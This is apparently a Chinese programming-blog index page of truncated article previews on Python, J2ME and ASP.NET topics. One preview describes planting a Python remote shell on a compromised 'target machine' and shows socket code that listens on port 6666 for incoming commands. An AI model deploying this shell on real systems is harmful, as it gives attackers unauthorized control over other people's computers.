这个话题给大家深入讲讲Image.createImage(width,height);我始终认为：深入的理解一种机制，然后才有灵活多变的应用！如果你不能深入的理解它，那么也只会死板的套用，如果你想做个copy代码的程序员，那么就没必要看我的文章。Image.createImage(width,height);这个方法到底是做什么用的？我们先看下doc里的一段说明：Animmutableimagemaybecreatedfromamutableimageth
系统 2019-08-12 01:33:39 2520
[ASP.NETMVC]利用自定义的AuthenticationFilter实现Basic认证很多情况下目标Action方法都要求在一个安全上下文中被执行，这里所谓的安全上下文主要指的是当前请求者是一个经过授权的用户。授权的本质就是让用户在他许可的权限范围内做他能够做的事情，授权的前提是请求者是一个经过认证的用户。质询-应答（Chanllenge-Response）”是用户认证采用的一种常用的形式，认证方向被认证方发出质询以要求其提供用于实施认证的用户凭证
系统 2019-08-12 01:31:55 2520
【打开文件】我们使用open()函数来打开文件，并返回文件对象。open()的参数有很多，如下：这些参数中的第一、二个参数是重点。第一个参数是传入文件名:若只有文件名，不带路径的话，python会在当前路径下查找该文件并打开。第二个参数是文件的打开模式：其有以下几种参数：===========================================================1.r以只读方式打开文件(默认)。2.w以写入的方式打开文件，会覆盖已
系统 2019-09-27 17:56:34 2519
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返
系统 2019-09-27 17:56:31 2519
在多个文件或者不同语言协同的项目中，python脚本经常需要从命令行直接读取参数。万能的python就自带了argprase包使得这一工作变得简单而规范。PS：optparse包是类似的功能，只不过写起来更麻烦一些。如果脚本很简单或临时使用，没有多个复杂的参数选项，可以直接利用sys.argv将脚本后的参数依次读取(读进来的默认是字符串格式)。比如如下名为test.py的脚本：importsysprint"Inputargumentis%s"%(sys.a
系统 2019-09-27 17:56:27 2519
本文实例讲述了python中ConfigParse模块的用法，分享给大家供大家参考。具体方法如下：写配置一般用ConfigParse.RawConfigParse类读配置用ConfigParse.ConfigParse类代码如下：写配置文件：importConfigParserimporttimeconfig=ConfigParser.RawConfigParser()task={}task["id"]=1task["package"]="exe"task
系统 2019-09-27 17:55:57 2519
利用Python+wxpy可以快速的查询自己好友的地区分布情况，以及好友的性别分布数量。还可以批量下载好友的头像，拼接成大图。本次教程是基于上次机器人后的，所有依赖模块都可以复用上次的，还不知道的小伙伴可以戳这里。python+wxpy机器人准备工作编辑器一个注册一年以上的微信号公共部分代码fromwxpyimport*//wxpy依赖fromPILimportImage//二维码登录依赖importos//本地下载依赖importmathimportwe
系统 2019-09-27 17:55:44 2519
本文实例讲述了python求pi的方法，是一篇翻译自国外网站的文章，分享给大家供大家参考。具体实现方法如下：#_*_coding=utf-8*_*##{{{http://code.activestate.com/recipes/578130/(r5)defpi(places=10):"""Computespitogivennumberofdecimalplaces参数places表示要返回的pi的小数点后位数方法：先整体扩大10**8（10的八次方）倍，然
系统 2019-09-27 17:55:41 2519
01.递归实现快排：defquick_sort(array):iflen(array)<2:returnarrayelse:pivot=array[0]less=[xforxinarray[1:]ifx<=pivot]more=[xforxinarray[1:]ifx>pivot]returnquick_sort(less)+[pivot]+quick_sort(more)a=[1,9,4,2,7,5]print(quick_sort(a))02.冒泡排序
系统 2019-09-27 17:51:51 2519
原文地址：https://www.ibm.com/developerworks/secure/myideas2.jsp?domain=dwchina您可能听说过，带有yield的函数在Python中被称之为generator（生成器），何谓generator？我们先抛开generator，以一个常见的编程题目来展示yield的概念。如何生成斐波那契數列斐波那契（Fibonacci）數列是一个非常简单的递归数列，除第一个和第二个数外，任意一个数都可由前两个数
系统 2019-09-27 17:51:45 2519
